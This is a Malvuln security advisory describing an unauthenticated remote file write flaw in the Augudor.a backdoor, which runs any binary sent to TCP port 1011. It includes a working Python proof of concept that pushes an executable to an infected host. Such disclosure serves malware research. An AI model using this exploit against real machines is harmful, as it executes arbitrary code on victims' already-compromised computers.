Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1b557d4f923b0de75e397686053a9022.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write Code Execution
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.
Type: PE32
MD5: 1b557d4f923b0de75e397686053a9022
Vuln ID: MVID-2021-0083
Dropped files: zy.exe
Disclosure: 02/10/2021

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    s.close()

    print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")
    print("MD5: 1b557d4f923b0de75e397686053a9022")
    print("By Malvuln");

if __name__=="__main__":
    doit()




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